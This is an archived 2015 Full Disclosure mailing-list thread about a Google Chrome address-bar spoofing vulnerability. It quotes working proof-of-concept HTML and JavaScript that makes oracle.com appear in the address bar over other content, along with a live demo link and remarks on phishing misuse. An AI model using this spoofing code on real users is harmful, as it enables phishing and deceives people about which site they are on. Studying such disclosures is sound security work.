lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Thu, 2 Jul 2015 13:51:06 +0000 (UTC)
From: Big Whale <d0lph1n98@...oo.com>
To: Valentinas Bakaitis <v.bakaitis@...il.com>, 
	David Leo <david.leo@...sen.co.uk>
Cc: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>,
	"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
	"oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Re: [FD] Google Chrome Address Spoofing (Request For Comment)

Found this POC: musalbas/address-spoofing-poc
|   |
|   |  |   |   |   |   |   |
| musalbas/address-spoofing-pocaddress-spoofing-poc - Chrome address spoofing vulnerability proof-of-concept for HTTPS. (Original by David Leo.) |
|  |
| View on github.com | Preview by Yahoo |
|  |
|   |


 


     On Thursday, July 2, 2015 9:21 AM, Valentinas Bakaitis <v.bakaitis@...il.com> wrote:
   

 Can you perform any actions on the page once the URL is replaced, or is it
non responsive? (asking because PoC did not work on my Chrome 43.0.2357.130
(64-bit) on OSX). If it is non responsive then the impact is very limited.
Worst thing I can think of is showing "your account is suspended, please
contact technical support on 0800-555-555" and then using the trust user
puts in the URL for phone phishing. If it is responsive, then it's indeed
pretty bad.

Cheers!
V.

On Tue, Jun 30, 2015 at 6:08 PM, David Leo <david.leo@...sen.co.uk> wrote:

> Impact:
> The "click to verify" thing is completely broken...
> Anyone can be "BBB Accredited Business" etc.
> You can make whitehouse.gov display "We love Islamic State" :-)
>
> Note:
> No user interaction on the fake page.
>
> Code:
> ***** index.html
> <script>
> function next()
> {
>        w.location.replace('http://www.oracle.com/index.html?'+n);n++;
>        setTimeout("next();",15);
>        setTimeout("next();",25);
> }
> function f()
> {
>        w=window.open("content.html","_blank","width=500 height=500");
>
> i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
> }
> </script>
> <a href="#" onclick="f()">Go</a><br>
> ***** content.html
> <b>This web page is NOT oracle.com</b>
> <script>location="http://www.oracle.com/index.html";</script>
> ***** It's online
> http://www.deusen.co.uk/items/gwhere.6128645971389012/
> (The page says "June/16/2015" - it works as we tested today)
>
> Request For Comment:
> We reported this to Google.
> They reproduced, and say
> It's DoS which doesn't matter.
> We think it's very strange,
> since the browser does not crash(not DoS),
> and the threat is obvious.
> What's your opinion?
>
> Kind Regards,
>
> PS
> We love clever tricks.
> We love this:
> http://dieyu.org/
>
>

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


  

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ